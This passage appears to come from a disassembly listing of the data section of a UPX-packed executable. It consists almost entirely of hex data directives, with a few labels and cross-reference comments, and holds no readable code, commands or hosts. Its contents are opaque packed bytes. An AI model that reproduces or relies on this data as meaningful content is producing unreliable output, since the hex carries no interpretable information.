98D889E8h dd 8978A087h, 0F08EF8E9h, 28078F18h, 8E41C08Eh, 0F88F78F2h dd 47F88F98h, 8F61BF8Fh, 8FF8FAh, 0E8FC8F99h, 9018FE1Bh dd 0E6907906h, 51BD9038h, 90D90890h, 0A8CC90Eh, 0F90C1BA9h dd 91591490h, 0B99118BAh, 0B9169131h, 8A691C91h, 1A1B8918h dd 392291D9h, 91F89192h, 0F59211B7h, 120E5077h, 7F20010Fh dd 2F84A92Dh, 0D80FE89h, 492B92E2h, 84E92A86h, 397EF302h dd 0D93B7EE9h, 93A93D7Eh, 499337FAh, 47F69318h, 9468C194h dd 2D92A929h, 68449489h, 9281B692h, 4C9467F8h, 495388F9h dd 85C95394h, 0F1957948h, 0C7F495A7h, 93E95694h, 6192C940h dd 0C7FF95F9h, 95A80B95h, 698B9966h, 0B7F095B9h, 94E80696h dd 0F79501B5h, 0E89C9527h, 86296C95h, 0FE941959h, 93C9767h dd 96297D96h, 7B96497Fh, 0D96884C9h, 96196E8Ch, 7084897Fh dd 59721909h, 92C96D94h, 90980942h, 0E9899919h, 94B93D97h dd 3C99792Fh, 0C9629359h, 93596D99h, 6C99293Fh, 899F9A09h dd 99A98098h, 7E9A1942h, 0E9909639h, 9AF9A093h, 0AA93B994h dd 49819AC9h, 9899AB9Bh, 9C9B29AAh, 495B9989h, 9BB9639Ah dd 339989B7h, 49A89319h, 9C097D99h, 939C39B5h, 0F99E93A9h dd 99E9CE93h, 0C29919CCh, 998F9C79h, 9CD98F92h, 8B8039D0h dd 8D07C9FEh, 59CC9D69h, 9749A29Bh, 0D2964940h, 49E49B49h dd 9969779Ch, 0AD9C6934h, 89529609h, 9BF9F09Eh, 0D5979995h dd 19E09E59h, 9B79C19Eh, 0B69997F3h, 0A9A69A79h, 9AB9959Eh dd 0E392E9E7h, 69E69D79h, 9819FC9Bh, 9A59E8h, 0B9C4996Ah dd 9FD9E4A0h, 0F89FAA09h, 29FE9ED9h, 0A0C95D9Eh, 2A019FEh dd 99DD9DB8h, 0A099A6A1h, 12A1095Ch, 2A15A04Ah, 0A149F398h dd 0DA0B99Fh, 5A1BA22Ah, 9BDA219Fh, 0F7A294FEh, 0B9E9A119h dd 0A36A349Fh, 389F7A16h, 19A29F9Ah, 97C992A3h, 43A2FA13h dd 6A37A45Ah, 0A0DA15A4h, 23A40A2Fh, 3A44A25Ah, 0A4A9D597h dd 1E7F7987h, 19658C9Ah, 957A44A5h, 3FA33A10h, 8A489C6Ah dd 96BA3EA2h, 4B9E0A5Fh, 0E9BE9C19h, 0A209B99Ah, 0B299BA61h dd 0AA6AA269h, 9CAA41A3h, 0B89ECA51h, 79D19FD9h, 9BE956A6h dd 1CA63A3Ah dd 2A48A70Ah, 0A2B99BA5h, 0FEA5A9BBh, 66A13A4Eh, 0C9A7A189h dd 0A55805A5h, 887FD8DCh, 5A3BA43Ah, 95EA2AA0h, 0F4A3CA24h dd 29DEA4A9h, 9EEA6598h, 3EA029D4h, 8A47A6AAh, 9FFA6EA0h dd 0A3A7EA58h, 0CA749FAAh, 0AA4A4BA2h, 4BA75A9Ch, 0DA6BA86Ah dd 0A4CA85A7h, 0FB9F69FFh, 1A8097C9h, 0A3DA3FA4h, 8C842A39h dd 49838EEAh, 0A9DA37ABh, 0AC5ABBh, 3AA5AA6Ah, 0A9A977A9h dd 279F1ABAh, 9AD0AACAh, 0AC3A4FA4h, 0B3AA8A2Ah, 0AAD4AB2Ah dd 0A1CA90AAh, 0DEACFAADh, 0DA9FAAFAh, 0A4EA96ABh, 0C998EA30h dd 6A9BADFAh, 80AAE2AEh, 8E8D2ABFh, 7A7FAE7Ah, 0AC7AB9AEh dd 0DFAEBAE4h, 9A2C9B89h, 0AF99E1AEh, 0A1A97AF1h, 9AD7A35Ah dd 0ABBB01ADh, 3CA9EAF1h, 9A9FA40Ah, 0AB0A029Ah, 95B04ADFh dd 3A799EDAh, 0B05B0DAEh, 69A9EB13h, 0AAE1A8F9h, 8AB8EB9Dh dd 0EFAC08DBh, 4993AC2Ah, 0A01A77A8h, 0DAA6899Ah, 2AAA9EBAh dd 0A5E9E3A8h, 0AFFEBA58h, 0A99EFA9Bh, 0CB21AA0Ah, 0B23B26A6h dd 0D2A82A68h, 99B19D89h, 0B31A719Dh, 36B29A6Ch, 0FA72B24Bh dd 0A72B2FA0h, 9DB19B33h, 0BB2FB3B9h, 0B4AA79B2h, 0B7B4FB4Dh dd 0CAE0AB6Ah, 0AF8AD6ADh, 0ED801A74h, 28F08E5Ah, 898924B2h dd 6FB54A53h, 984DB5F8h, 0B5C8FAB5h, 62890B5Dh, 5B61AC6Bh dd 8F9B6487h, 99B67A94h, 0BB69B698h, 865B5784h, 78B70B6Dh dd 0BB6CB79Bh, 8D08DAB1h, 80B7AA56h, 7863B81Bh, 0B85B82B7h dd 8484CB86h, 0BB8AB87Bh, 0B7CABEB8h, 76AEE8EDh, 1938B6F8h dd 0AB8B5FACh, 0D1ABCA50h, 0A9378D6Ah, 0B73802B2h, 8DB9E804h dd 0E875B898h, 85D97AAFh, 0EAB96B73h, 0CBA0AA7Ah, 9B1A978Bh dd 39DEAA7h, 1B4096E8h, 877BAB80h, 1E8B6B8Eh, 1AD4B91Bh dd 0BA785E95h, 0E9B32BAFh, 0D8BBBB59h, 7F9B02BAh, 60BB2BC2h dd 2876AC1Bh, 9A9A50BAh, 369B09C0h, 0FB259E2Bh, 0BD4B35B3h dd 0A11BFE33h, 47B3EBCEh, 0EA59A32Bh, 0AB69C7B4h, 6EAFA9CFh dd 7B27B44Ah, 0BD1BD99Dh, 0EABDBB2Dh, 9BA49C5Bh, 9EA9C899h dd 45AE5B2Ch, 1AB89B09h, 0B47B50BEh, 0D392B9B9h, 0EBEE9EE9h dd 0B3CBF8BDh, 0F3BCC860h, 3A0FA39Bh, 0A70974AEh, 0E5AB9B06h dd 9F4B52Bh, 0C0AA71A6h, 35AF49F2h, 2ABAA87Ah, 0A16AF7B1h dd 15A88A46h, 7B29A27Bh, 0BA8A85C0h, 0A4A6FAABh, 8C10A7CAh dd 0A0EC05B4h, 0D5B0CAF6h, 0C0285EAh, 0C25C1BBBh, 0E5ADBAC5h dd 4AC8BF2Bh, 0AF0ADBA1h, 24B12C2Bh, 3B08B6ACh, 0A42C3DB5h dd 0CBBE9AD8h, 6C3AC23Ah, 0BEFB3FA7h, 3BC0EAEAh, 0EC33A3DCh dd 0C31AF3AAh, 2D871C09h, 1507AA0Ch, 0BF7C24AEh, 0F8A8ABADh dd 0BC5AC29Bh, 0C5EC54B0h, 55A7CA32h, 6C5FAD2Ch, 0A66A34C1h dd 1AA93B0Ah, 0BC41BE8Ch, 0B6AC37C3h, 45C67A62h, 0DA86B51Ch dd 0A52C15C5h, 81A6DC5Ah, 0FBB7C52Ah, 0BBCBB98Bh, 0A28ADCFEh dd 0FAFAA7Fh, 1A73C4EBh, 0B2DB14C5h, 0AEAABBDAh, 7B96C25Bh dd 0B04B20B1h, 3CAF9B08h, 9988B52Ch, 0AC8AE9C8h, 0BCBC0955h dd 1AB1C4AAh, 0BE3C51BCh, 36C97AF5h, 0DAECBC2Ch, 0B90B1DC7h dd 29ACAC80h, 7C08AC4Ch, 0C35B20C7h, 21C41B98h, 0FA36B53Ch dd 0C2FCABC8h, 3CC83C72h, 0C9FA98Ch, 0C46C0BC5h, 0B0BA4C39h dd 0BCC2C0DCh, 0CA3C49A7h, 5CB99CBFh, 2B98C538h, 0C97AFDCBh dd 69AEBC32h, 6AD2C0FCh, 0A2EC6DCCh, 649AEC13h, 4C90A08Ah dd 0A7BAFECDh, 0DBC38ACEh, 2ADDC64Ch, 968AD5CEh, 43CC5C0Eh dd 2B10C73Ch, 0C56C88C7h, 62C4DC60h, 8BAACCE8h, 9D0A9AC4h db 30h, 1Bh, 0C2h byte_45004B db 0F7h ; DATA XREF: UPX0:off_41DBACo dword_45004C dd 0EBFDB37Bh ; UPX1:004319F0o db 0CFh, 0A8h byte_450052 db 0CAh ; DATA XREF: UPX0:off_4245A8o byte_450053 db 0B3h ; DATA XREF: UPX0:0041EFF0o dd 0DDB51BE4h, 0A17B4DBh, 0CB0B3ABEh, 0E1D09C8Ah, 0DC84CD2Ch dd 0D06B3A95h, 0CA5DC89h, 973CE9Dh, 0BE3BF4C0h, 899D1D11h dd 0FA94BFDAh, 0B4AD14D0h, 39BD5D1Dh, 0CCF684BCh, 0FE689AB8h dd 0D28BCACAh, 7ECA8C2Ch, 5D2CA8DBh, 0B1FD2A8Ah, 2785DD31h dd 588DD35Dh, 0D3A845B7h, 37847D38h, 5D40D3DDh, 0D41D3FD3h dd 43B8BD44h, 2D48D45Dh, 0D49D47B8h, 4BB78D4Ch, 3D50D4DDh dd 0D51D4F92h, 53916D54h, 0DD58D55Dh, 0D59D5790h, 5B900D5Ch dd 7D60D5DDh, 0D61D5F8Fh, 638E9D64h, 0FD68D65Dh, 0D69D678Dh dd 6B8D4D6Ch, 0AD70D6DDh, 0D71D6F8Ch, 738C1D74h, 8D78D75Dh dd 0D79D778Bh, 7B8AFD7Ch, 4D80D7DDh, 0D81D7F8Ah, 8389AD84h dd 0FD88D85Dh, 0D89D8788h, 8B884D8Ch, 0FD90D8DDh, 0D91D8F87h dd 2E8E1D94h, 5B7F8E3Dh, 8A7D9AD9h, 9ED9BD93h, 5D97C01Dh dd 0D9FD998Fh, 9D899DA4h, 6DA8DA5Dh, 0B8F8D9BBh, 0AEDA9B5Ah dd 0FDA7882Dh, 80BDB2DAh, 0B6DB3DB1h, 0DDA196FDh, 0DB7DA38Fh dd 0B98B4DBCh, 0DDBB904Dh, 0CF5DC2DBh, 0C190BDBFh, 6DC8DC3Dh dd 912DC5D3h, 0CEDC9DC7h, 9DCBD26Dh, 0FDFECD91h, 846DD4DCh dd 0D8DD5DB5h, 9DD77EDDh, 0DDBDD5DDh, 0DEDCFDDCh, 1DC9DDFDh dd 0DC3DE2DEh, 0BDDE5DE4h, 0DB9BD4BDh, 847B6BCBh, 33B22B72h dd 0FBB1C42Dh, 0B9FDF1D1h, 1B984C63h, 1D24BD6Dh, 0CEDDEA8Fh dd 0A4DF5880h, 0FC4CD34Ch, 936CCFDFh, 0C6CB3BBBh, 6C6EAA3Bh dd 0DFD8E7C2h, 87FBF2h, 0BA5C86Eh, 967E11A2h, 2BE15BAFh dd 8CCCD25Dh, 0CB2C1BE0h, 0E8CBE1Ah, 0BBFECDEEh, 0BFB9B3DFh dd 0F0BD9ACFh, 9BEBE239h, 0E269399Dh, 0B7B35BEAh, 0CD24C8ACh dd 0D03BDB9Bh, 19955BFCh, 0FBFBAD1Dh, 0BCFA4C9Eh, 0FCE17D1Eh dd 0E9BABD5Bh, 0CEE9B3BFh, 2E42C3Eh, 0FE3EB10Dh, 0BD2BD6CFh dd 0ABD2DC00h, 7CAABB8Dh, 0E46A07B9h, 39F6B14h, 0BC85A61Ah dd 0E5BA73E0h, 0B5CDDCA0h, 9AE2C1CAh, 0B07C92E5h, 0DDCDCDFBh dd 499DE68Ah, 0CF0A89ACh, 0F1C0CE65h, 6E03B0DCh, 0CA5E5FE5h dd 0E0C7BC04h, 0EBC9C1EAh, 7DEAFE84h, 0CACC98DFh, 0B8B03C36h dd 1C3DDFECh, 0AB1C9EE7h, 74CBABC4h, 1D10CE4Eh, 0C37AF4CCh dd 70B38CD1h, 0DE66B00Eh, 0A2DE8ECBh, 0ADE81E89h, 0AD13CEECh dd 0C7EE51DCh, 0F5BA9E53h, 2A83C799h, 0E1EAFFE9h, 77EA5C56h dd 6C0B9ECAh, 0E89E8EC7h, 82E3CC63h, 8E09EA7Eh, 0C68BF0AEh dd 65EAEA45h, 2C7AE98Ch, 0C83C86DFh, 47EBFB46h, 0FC82A5CAh dd 0D3CD1EC9h, 20DD1B63h, 0EE1CDD39h, 0C96CA1CBh, 67C66EB4h dd 1BB3C1DCh, 0ED6ECEE0h, 0B3976A1Bh, 4CB6B92Bh, 0A26E95C4h dd 99CE3ACCh, 7E07ED2Ch, 0E80CA1CDh, 65CCAE0Ah, 5CEBCE6Eh dd 0EE3A49ECh, 0A9E9FD96h, 0FC2EDADCh, 0CB5E6EE0h, 0E4E7FC91h dd 6EC2EF8Eh, 0A04E63E9h, 0BFE14EDBh, 0FC50D0DCh, 0ACDEE2E0h dd 3FEA2F03h, 0AF05EE7Ch, 0C87EB3BAh, 0F3E83CB4h, 2C7CEF0Ah dd 0C7FD2FEFh, 75E84E54h, 0BA1AF09Ch, 0AE8EE6F1h, 57ED8E5Ch dd 0EED7AF8Eh, 0CF26EEFEh, 0E78C91F1h, 0F3F08CD6h, 0ECF2AFC9h dd 0F1CF27EBh, 47E8CC9Bh, 0FF0BE71Eh, 0B48EEEF1h, 27ECA886h dd 0BBBFECC9h, 0E36D22B0h, 1CE37E67h, 0DBD3A90Dh, 0CFDB3DB3h dd 8FD0EF45h, 1D16B43Ch, 0AFCB30B4h, 70B9CE93h, 19CB9CDCh dd 0F4EA21E6h, 54E3AB41h, 0EE33E39Fh, 0BF6A8AA5h, 2FB34F5Bh dd 9F53D01Eh, 0EC8D0BF4h, 98F16EC9h, 8BA3D30Dh, 0DE8B66D6h dd 18800DE7h, 5F71B80Eh, 0A57F73DEh, 0E8EDCD65h, 0FF3CDDADh dd 0F7DF3E94h, 797F9F82h, 5DAEF83Fh, 0DA8F86F8h, 0A4F89F88h dd 0E1BE21Dh, 0F0AEC1BBh, 40F8CF8Fh, 5B95D6BDh, 0D0AEF5EEh dd 79F94B9Dh, 0FE02F96Bh, 0DECBC5E1h, 9CF757FBh, 0AE218DEFh dd 0E3BDFABFh, 0FAE2DFA8h, 9F519CBDh, 0E24E29B4h, 0A5E45E39h dd 7E0E907Fh, 0B0CE64C2h, 24F2BE5Eh, 7F32C28Fh, 906FB5EFh dd 0FF0FFB7h, 9EFDF21Bh, 0FC1AA2F3h, 0AFC391Ch, 0FED3EBDAh dd 9FCEA5BAh, 0EA4AAFE9h, 0CAA91CD5h, 1F7FD5AFh, 0F06F8197h dd 95FBAEE8h, 0EE8AE87Eh, 0FA4959AAh, 0D9D76FD7h, 3FDB98CFh dd 0B06CD4B0h, 0ACFC7F12h, 5FA0CAFAh, 0FCC8EFFEh, 0ECE9CCEFh dd 7E75CDEFh, 0CF4F1EE4h, 0A78FFFF2h, 1100B46Fh, 78806040h dd 8C160905h, 42607077h, 260F0883h, 2050E85Ch, 27068443h dd 1188A43Eh, 48944E2h, 881C7215h, 92456351h, 449E4D25h dd 4AE55299h, 0BE5D2D96h, 0E6531984h, 6D359A4Ch, 5399C4DEh dd 0F17849E7h, 827129ECh, 0A250CF86h, 45128D45h, 0BD8944E3h dd 3E773D78h, 0EA551A85h, 0AD55AA54h, 559AC55Eh, 3D9D56EBh dd 1A3D067Fh, 0A5D268D6h, 459EB94Dh, 5AED569Bh, 0BEDD6DB6h dd 0A815EB55h, 0C975B150h, 570A7532h, 7DBE5EEFh, 1C05FEFDh dd 0B05CA498h, 35DEC575h, 62F1582Bh, 3F1D8DC6h, 0AE984C56h dd 0F388A3E1h, 599CC642h, 9DCE66F3h, 0A6FE4A55h, 67B2D61Ch dd 9F4DA5D2h, 0E7D71D46h, 9595D0DCh, 5B1D4DE2h, 0B5DA6CF6h dd 5D6E8253h, 0DE6DB474h, 6EFF7DBDh, 0D0F73B8Ch, 1F8DC0DDh dd 0AB3C9E47h, 95C5E1F0h, 5D1E873Fh, 0B9E64B3Ah, 9EC74F9Dh dd 0EAF1BB5Dh, 76FAFADh, 0E93C5E1Fh, 8FBFA1EEh, 3D5E9F47h dd 0CF94F2E0h, 5F1F87AFh, 86F6D73Eh, 9FC7CFDFh, 0FACE3F5Fh dd 0DE275F76h, 701402Fh, 0C3BFA974h, 408CBBFEh, 0D0241705h dd 6410D140h, 0F5094230h, 0B2B5D073h, 43309C12h, 70ABC10Dh dd 437082Ch, 3AE9C431h, 1143EDD4h, 3811444Fh, 31329112h dd 8C5F1745h, 5AE2456Dh, 1B46B184h, 8F919337h, 0B1E46EFBh dd 0DC72BFC7h, 872147D1h, 1A480B64h, 49324489h, 50BC8CB4h dd 0D49F2749h, 0A0D8498Ah, 0A84AB2A4h, 4AD004A4h, 994B72Dh dd 82D70C4Bh, 0C7314C27h, 334CB324h, 4D3344CFh, 0B364D735h dd 84DF374Dh, 0C5394E33h, 4E70FE2Ch, 33C4EF3Bh, 0E4F73D4Fh dd 0BCBF4C73h, 414FABD4h, 50B42507h, 0F3ACD343h, 65174550h dd 0FF3551B4h, 0E1B0AD5Ch, 0C9723C74h, 27F9F882h, 0E5374D53h dd 3F4F53B4h, 51543505h, 54B52547h, 35454F53h, 0A1F95555h dd 9C92CB27h, 59563552h, 56B5A567h, 0B51D6F5Bh, 8C8B2FD5h dd 2AE6B274h, 7A1E8B45h, 1A2691C4h, 3641A563h, 9D936559h dd 9F669A46h, 685A3675h, 5AB695A7h, 36B5AF6Ah, 0D5B76C5Bh dd 0BF6E5BB6h, 705C36F5h, 0DCB65DC1h, 711AF65h, 0A255569Fh dd 9A6E1EC7h, 66DE0659h, 5EB7A5E6h, 265DE97Bh, 0E5F77D5Fh dd 0FF7F5FB7h, 7BE03805h, 6037B607h, 38460F83h, 66098461h dd 0A266DE58h, 0BED58701h, 9ECB6D00h, 6489EC7Bh, 0E6362F8Dh dd 0BF8F63B8h, 916402A0h, 64792643h, 0F9464B93h, 66539564h dd 5B976579h, 9965F986h, 6679A663h, 99C63F9Bh, 0B92235E3h dd 547C9EE7h, 90F9F2FEh, 0BA208A24h, 468FA368h, 97A5693Ah dd 0A769BA66h, 6A3A869Fh, 7AA6A7A9h, 0C90E24EAh, 28BE62E7h dd 511E7306h, 13051928h, 0BB26C7B1h, 0C12BB16Ch, 25B46D04h dd 0B76D84C1h, 6DFB86DBh, 0BB4ED5B6h, 0B6EFBA6Eh, 0F7BC6F3Bh dd 0BE6FBBD6h, 703BF6FFh, 0BC1707C0h, 46CDBA70h, 3251EC9Ch dd 5D9EA511h, 144791E3h, 0A579503Dh, 0C72FCB72h, 37CD733Ch dd 0CF73BCE7h, 743D073Fh, 0BD2747D1h, 0D151D374h, 1E791443h dd 0B56B8B4Fh, 0E67B9E8h, 5A95C44h, 0C76E5A97h, 77DD773Dh dd 0DF77BDE7h, 783E077Fh, 0BE2787E1h, 378FE378h, 0EE4615DEh dd 935D67B8h, 90E2D9F4h, 0A7B1FE72h, 0C7AFEB7Ah, 0B7ED7B3Eh dd 0EF7BBEE7h, 7C3F07BFh dd 0BF27C7F1h, 29FFF27Ch, 0D42D90E7h, 0B4F5CBDDh, 902761F4h dd 5B95C58h, 0F9805E98h, 0F7FD7F25h, 0FF7FBFE7h, 6007FFh dd 2403805h, 780D016h, 0FE026044h, 603F6805h, 0B115C2DCh dd 0F43B0420h, 34751281h, 0E2EA1FE1h, 0B8350646h, 0D0760E41h dd 61041F83h, 42384508h, 84D09612h, 0A614427h, 7C0F4851h dd 0EA09A3FCh, 7AA06098h, 3519A935h, 0E0FA2D89h, 0A15A29C4h dd 0C330660Bh, 62043F1Ch, 44388510h, 88D11622h, 12624447h dd 2644B895h, 4F89D136h, 9838E264h, 94558BA1h, 34311382h dd 616C2389h, 0C3707031h, 63045F1Bh, 4638C518h, 8CD19632h dd 1A634467h, 3646B8D5h, 6F8DD1B6h, 0C0372364h, 385B3171h dd 716F8B02h, 61F25A1Fh, 0E2C85888h, 4720E81Ch, 4839043Bh dd 90D21642h, 22644487h, 4648B915h, 8F91D236h, 25246484h dd 0A07448F9h, 88B21CE3h, 48EE2185h, 43882F92h, 4710F81Eh dd 4A394439h, 94D29652h, 2A6544A7h, 564AB955h, 0AF95D2B6h dd 652C6584h, 0C974CB19h, 0D85F1C43h, 78F25B64h, 2007C96h dd 0C7F8B816h, 0E1FEE03Bh, 0D316620Eh, 6644C798h, 4CB99532h dd 99D33666h, 346684CFh, 6A4D39A5h, 0FF1DF34Ah, 2C45C0h dd 44844B91h, 0F8F21BC1h, 39C4A387h, 0E9F6724Eh, 46F0F21Fh dd 0A609B814h, 4830D219h, 1D87B958h, 5C0B7156h, 0F79ED3D5h dd 4D3E67C4h, 0D8580BD5h, 98F19D61h, 0A1E03802h, 0D416824Fh dd 154507A0h, 8531C03Ch, 9DAEB67Fh, 55E77A93h, 530761ECh dd 215713D0h, 2AD4819h, 80815060h, 0F8FFA36Ah, 8A433E68h dd 0C2DD4E50h, 0C944FE14h, 42D1CA14h, 0A3448692h, 4668C4F7h dd 50D2354Fh, 9FA494D1h, 183947C2h, 0FE87BEDAh, 0A16B86CAh dd 41481E47h, 45347B8Bh, 1328014Fh, 54A4EF52h, 4CF53143h dd 396A754Ah, 7B8F150Bh, 791482D4h, 0FF4067F8h, 945D451h dd 6D514C64h, 24FB5813h, 35913856h, 6A95664Ch, 8FF1EE4Fh dd 52D43685h, 7595F15Fh, 0A095B580h, 0F016227Eh, 0F4390748h dd 0BE57FEBAh, 7DAFD5F6h, 35F800Dh, 0FEC257FBh, 4585B075h dd 7AF7626Ch, 960EC258h, 6C858AB1h, 0D93B2564h, 1E03A6BEh dd 5604F0B1h, 298F624Fh, 0E99C2344h, 45684710h, 96D25A3Bh dd 0DA7B4D6h, 7B536940h, 96AED65Ah, 6D85AFB5h, 0DB1B5D68h dd 0B676BED6h, 6E6DC5B4h, 7FD96B4Fh, 32A76344h, 290D2B84h dd 0E5D7D3F5h, 68B113A1h, 0B1B63907h, 0D736E65Ch, 6E75CFB9h dd 0DD2B9E00h, 0B977506Dh, 40AE95D4h, 0E6103BAEh, 0DDBB5766h dd 0BF782EE5h, 8AF1DDBBh, 0C5CDBB37h, 0BBA375EEh, 0B786EADEh dd 0AF25EDBAh, 5EEBE575h, 0BA175AEFh, 72EFC5F7h, 498AB903h dd 9C24D668h, 0DA3FC66Dh, 146D0E21h, 4607C0D8h, 0AC158270h dd 0D82C00E0h, 0B07921C0h, 60520636h, 0C2583708h, 84481612h dd 0CE18C35h, 1EC2D827h, 2185B046h, 4712614Ch, 9E24C2B8h dd 0FC3383F0h, 0D8B70761h, 4710DAC5h, 8CD1FE3Bh, 65C2DFFEh dd 47C15C97h, 8B01261Eh, 0C7C362E4h, 9072063Fh, 0E41C85h dd 0D8C8B908h, 8F8FB238h, 271F902Ch, 4E4AC919h, 2C8192F2h dd 792B26E5h, 72AE46CAh, 0E59CA996h, 0C9793B2Ah, 93F2BE51h dd 24656CC5h, 67C87983h, 38FF346h, 0F8480A69h, 98F424B7h dd 0C0432C2h, 0D9D5730Eh, 469677CEh, 0E7ACEE00h, 2059F164h dd 9F16467Dh, 41681CF3h, 865959FBh, 4B2F406h, 2F4668ADh dd 0E8ED11Ah, 1CFFA274h, 1A1341E9h, 33C697CFh, 8CBC6438h dd 0A7B1E31Ah, 5A6E2572h, 480791F2h, 0DF1D8298h, 55AA46A0h dd 0B7566ABDh, 0D31D59Ah, 2D63AA80h, 0BACF54EBh, 35B6AED6h dd 6B4D7235h, 0D57AE35Dh, 0ADF5EEBBh, 606B3D79h, 0BFD89ADBh dd 91B27616h, 0E7616C1Dh, 86AED81Ah, 0C1BFABB6h, 0C224520Eh dd 0ACE124CDh, 0DE1D99Ch, 0DBDB7563h, 0B87706DFh, 71001DC5h dd 0DDDC8B1Bh, 0CDB9F73Eh, 0FE766EBDh, 0E91A3BABh, 0D1BC36F6h dd 0CB586E0Dh, 96E1DDFBh, 6DEDBBB7h, 9BF77BEFh, 7806E5DDh dd 0DE58DC0h, 0D383FC76h, 8DCB3D6Eh, 3C8F62B7h, 0EB14222Ch dd 2433C6E8h, 578A713Eh, 0F15E2DCh, 9E25C5C0h, 9C7389F1h dd 0F8BF1BE3h, 0F2219FC7h, 0E45C7490h, 0C5A8C723h, 90724E3Fh dd 1DE55C8Fh, 5DCA78DFh, 6081714Eh, 672DE5BCh, 0BE75C6B9h dd 0C3AC6EF3h, 675ED613h, 8C70A63Eh, 1B43A47Fh, 0D27A430Dh dd 868015E7h, 4E5E9D31h, 0A5D2FA77h, 37A8F53Eh, 82F5EA03h dd 55EF463Ah, 0BD457B75h, 3AA121EAh, 0F56EA7D6h, 0ECDD93B1h dd 0DA7A5765h, 748DA5E9h, 9D18E3FCh, 0B5C28B76h, 7444D412h dd 80DB1D02h, 0BEF5DE46h, 9DF7BE77h, 7BF001EFh, 0F7AF01DEh dd 0F05E0FC1h, 343C377Eh, 0BFF8BF0Ch, 87F03E33h, 0BE43C87h dd 13C5788Fh, 177DF29Eh, 0AF2BE588h, 0FE27C4F9h, 0FBE79FF1h dd 9B1D036h, 44FE9FA0h, 0DF40C4E8h, 7AB19435h, 0F5DEB7D6h dd 0EC3D87AFh, 0D5FB1003h, 0B6F59ECFh, 75ED7DB7h, 2BDCFBBFh dd 0FFADF703h, 2F7DED3Dh, 3EF7D9FCh, 0FE37C1F7h, 7CBF87EEh dd 0F85F03DEh, 32BE87CFh, 623D31AEh, 9F975DC0h, 0B75CCEF6h dd 6C428792h, 7A01C22h, 2F3DDEFFh, 3E6FF27Eh, 3C97E5F2h dd 0FE3FCBFAh, 0FD3E6BBFh, 0E3BF27E6h, 0C9F81FDBh, 0E7FEBFC3h dd 0C3F83F0Fh, 5C4289B1h, 98FA22BBh, 703D402h, 285F065h dd 4403C034h, 0C05404C0h, 4800C05h, 785F406Ch, 0C07C02C0h dd 9408408h, 3C09C034h, 40BC0C40h, 0E405C0Bh, 0F40AC064h dd 40D41040h, 11C08C0Eh, 0EC0CC114h, 0C15414C0h, 70065403h dd 43EA87F8h, 3EC0FA38h, 0ACBED0F3h, 183B0778h, 0BBC04D84h dd 0F63F03FCh, 0B3CCBC8Bh, 4213F5BFh, 0CDBFBBC1h, 73CC3CEBh dd 422C203Fh, 20C23BF5h, 2BF3BCE4h, 0C1E41F42h, 4E86DBBEh dd 9403FEE8h, 18299E7Ah, 6D07F86h, 2F85D862h, 1430C304h dd 0C32431C3h, 30881432h, 4C30000Ch, 0C2FC3543h, 37C36C35h dd 0DC374384h, 0C3743585h, 34439C33h, 2439431Ch, 43AC3943h dd 39C3843Ah, 0C438C3F4h, 436C3BC3h, 43C32C3Dh, 242FC444h dd 87F86D06h, 5E3EB061h, 0AA772E09h, 0C1B8AC41h, 29C1D03Eh dd 54293D04h, 0C25BCCBCh, 0F33F7090h, 0C50081Bh, 0C51BC245h dd 0C04223F9h, 0F41F3FABh, 3FC44F3Ch, 20451456h, 0FC4C4274h dd 84D86DBCh, 275C2Bh, 5C2EC2DCh, 0C5DC5DC1h, 5F404090h dd 1409C10Ch, 40DC1388h, 12C61C09h, 0AC05081Ch, 0C0CC1437h dd 64C0F463h, 3406C614h, 46946441h, 446B45Eh, 7C46C45Ch dd 448A7644h, 0ABC49A88h, 0E8400778h, 87084F03h, 73C5906Ch dd 5474C744h, 0C76475C7h, 6CC29C76h, 0D83EBFD8h, 0C5C093A6h dd 6486B07Eh, 0D47CC6B8h, 0C7E47DC7h, 7E47F47Eh, 7FC0A4FEh dd 0B064C054h, 0C4707E86h, 0B90ADC18h, 30798ACBh, 84803E84h dd 6806305Ch, 0A4898670h, 0C8B48AC8h, 8CC8C48Bh, 0E48DC8D4h dd 0C8F48EC8h, 90C9048Fh, 491C914h, 86306849h, 3E84485Ch dd 0FC7A24D0h, 7A06282h, 8106D06Fh, 0A499C993h, 0C9B49AC9h dd 9CC9C49Bh, 0D49DB78Ch, 6D38149h, 6287A06Fh, 0EA9E25C0h dd 929A9F46h, 4E07C0B5h, 0B83283A0h, 6005604h, 0A8864063h dd 0A4A9CA94h, 0CAB4AACAh, 630644ABh, 0E4ADCAD0h, 0CAF4AECAh dd 0A84B04AFh, 24B1CAC4h, 0CB34B2CBh, 0B4CB44B3h, 4AD4ABCh dd 84B85606h, 2B83A032h, 784547A2h, 874A5105h, 0BCCBC4BBh dd 0E4BDCBD4h, 0CBF4BECBh, 0C0CC04BFh, 24C1CC14h, 0CC1CC2CCh dd 0C4CC3090h, 7A51074Ch dd 0C8404505h, 0F7419928h, 80AB46F8h, 83702C9Fh, 52049836h dd 0E4CD8568h, 0CCF4CECCh, 0D0CD04CFh, 20574CDCh, 0CD34D2CDh dd 0FECD44D3h, 574D54D4h, 74D6CD10h, 0CD84D7CDh, 0D9CD94D8h dd 24D24D14h, 3684985h, 902B037h, 685E47A2h, 7286D02h dd 754E1075h, 34E28760h, 0CE44E3CEh, 0E5CE54E4h, 74E5A44Ch dd 4E54E7CEh, 0E9CE8244h, 94E4CEA4h, 4EC4EACEh, 754E1CECh dd 686D0728h, 0CC785E02h, 0FB4C88E5h, 80AACC98h, 278361Dh dd 4483E837h, 74F68458h, 0CF84F7CFh, 0F9CF94F8h, 0B4FACFA4h dd 0CFC4FBCFh, 0FDCFD4FCh, 0D4FECFE4h, 3F044CFh, 36027837h dd 0A0939E68h, 2F87687h, 7B07603Bh, 0C87C87C0h, 0D0807C07h dd 9D09508h, 0B507508Dh, 0D0C50BD0h, 0D87E50Bh, 0F50ED0E5h dd 50CD0ED0h, 1094CD07h, 0FD0BD125h, 0D1451287h, 15D15514h dd 7516D165h, 87607B51h, 7682F83Ch, 2B4F1E70h, 0CA3B504Ah dd 510780B8h, 410478h, 0D2051F83h, 1FD21520h, 352182BDh dd 0D24523D2h, 25D25524h, 7526D265h, 528527D2h, 52FE2D27h dd 47841528h, 41570510h, 9C928188h, 2E854059h, 52FD2F5h dd 0D31530D3h, 32D32531h, 4533D335h, 0D35534D3h, 36D36535h dd 5059D375h, 27085103h, 490D64A2h, 0B8B5350Ch, 3584B18h dd 3ED3E031h, 153FD3F5h, 0D4002A03h, 42D42541h, 4543D435h dd 0D45544D4h, 46D46545h, 6541545Dh, 84B035D4h, 9351A99Eh dd 29A15138h, 82182182h, 0A954E1AAh, 54FD4D1h, 